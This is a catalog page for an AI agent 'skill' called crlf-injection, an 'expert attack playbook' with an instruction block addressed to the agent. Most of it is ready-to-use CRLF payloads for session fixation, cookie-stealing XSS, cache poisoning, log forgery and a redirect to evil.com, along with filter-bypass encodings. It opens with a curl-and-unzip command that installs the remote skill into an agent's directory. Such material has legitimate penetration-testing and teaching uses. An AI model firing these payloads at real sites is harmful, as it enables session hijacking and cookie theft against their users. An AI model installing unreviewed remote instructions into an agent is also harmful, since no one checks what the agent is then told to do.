An expert playbook for identifying and exploiting CRLF injection vulnerabilities.
Install
mkdir -p .claude/skills/crlf-injection && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/17048" && unzip -o skill.zip -d .claude/skills/crlf-injection && rm skill.zipInstalls to .claude/skills/crlf-injection
Activation
This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.
>-Key capabilities
- →Detect CRLF injection using basic probes
- →Identify response body injection via double CRLF
- →Exploit session fixation through Set-Cookie injection
- →Achieve XSS via response body injection
- →Perform cache poisoning by injecting headers/body
How it works
The skill identifies vulnerabilities where unsanitized user input containing CRLF characters can split HTTP headers or inject content into the response body.
Inputs & outputs
When to use crlf-injection
- →Test for CRLF injection
- →Check for HTTP response splitting
- →Validate header input sanitation
- →Assess cache poisoning risks
About this skill
SKILL: CRLF Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
1. CORE CONCEPT
CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
XSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
4. FILTER BYPASS
| Filter | Bypass |
|---|---|
Blocks %0D%0A | Try %0D alone, %0A alone, or %E5%98%8A%E5%98%8D (Unicode) |
| URL decodes once | Double-encode: %250D%250A |
Strips \r\n literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR
5. REAL-WORLD EXPLOITATION CHAINS
CRLF + Session Fixation
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after login
CRLF → XSS via Double CRLF Body Injection
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
CRLF in 302 Location → Redirect Hijack
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com
6. COMMON VULNERABLE PATTERNS
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));
7. TESTING CHECKLIST
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
When not to use it
- →When user input does not reach HTTP response headers, Location redirects, Set-Cookie values, or log files
- →When carriage-return/line-feed characters cannot split or inject content
Limitations
- →The skill relies on user input being reflected in specific HTTP contexts
- →The skill's effectiveness depends on the server's handling of CRLF characters
- →The skill does not bypass all filtering mechanisms
How it compares
This skill provides a structured playbook for detecting and exploiting CRLF injection, unlike general vulnerability scanning.
Compared to similar skills
crlf-injection side by side with the closest alternatives in the catalog.
| Skill | Installs | Updated | Safety | Difficulty |
|---|---|---|---|---|
| crlf-injection (this skill) | 0 | 4mo | No flags | Advanced |
| reverse-engineering-tools | 73 | 4mo | No flags | Advanced |
| game-hacking-techniques | 42 | 3mo | No flags | Advanced |
| solidity-security | 15 | 3mo | No flags | Intermediate |
Try saying
Example prompts that trigger this skill in your AI assistant.
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